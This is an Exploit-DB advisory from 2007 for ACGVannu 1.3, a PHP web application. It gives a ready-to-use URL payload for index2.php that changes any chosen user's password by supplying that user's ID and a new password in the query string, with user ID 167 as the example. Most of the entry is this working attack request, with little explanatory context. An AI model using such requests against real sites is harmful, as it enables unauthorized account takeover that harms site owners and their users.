ACGVannu 1.3 - 'index2.php' Remote User Pass Change

EDB-ID:

3208


Author:

ajann

Type:

webapps


Platform:

PHP

Date:

2007-01-27


*******************************************************************************
# Title   :  ACGVannu <= 1.3 (index2.php) Remote User Pass Change Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://acgv.free.fr
# $$      :  Free

*******************************************************************************

[[REMOTE PASS CHANGE]]]

http://[target]/[path]//index2.php [ID VARIABLE]

Example:

ID=USER ID (167)

//index2.php?id=&nom=ajann2&prenom=ajann2&pass=0002455&rubrik=modif&fo_remp=oui&id=167&mail=a&url=http://a&titre=a&descript=+a+&categorie=G%E9n%E9ral&Submit=Gonder

[[/REMOTE PASS CHANGE]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-27]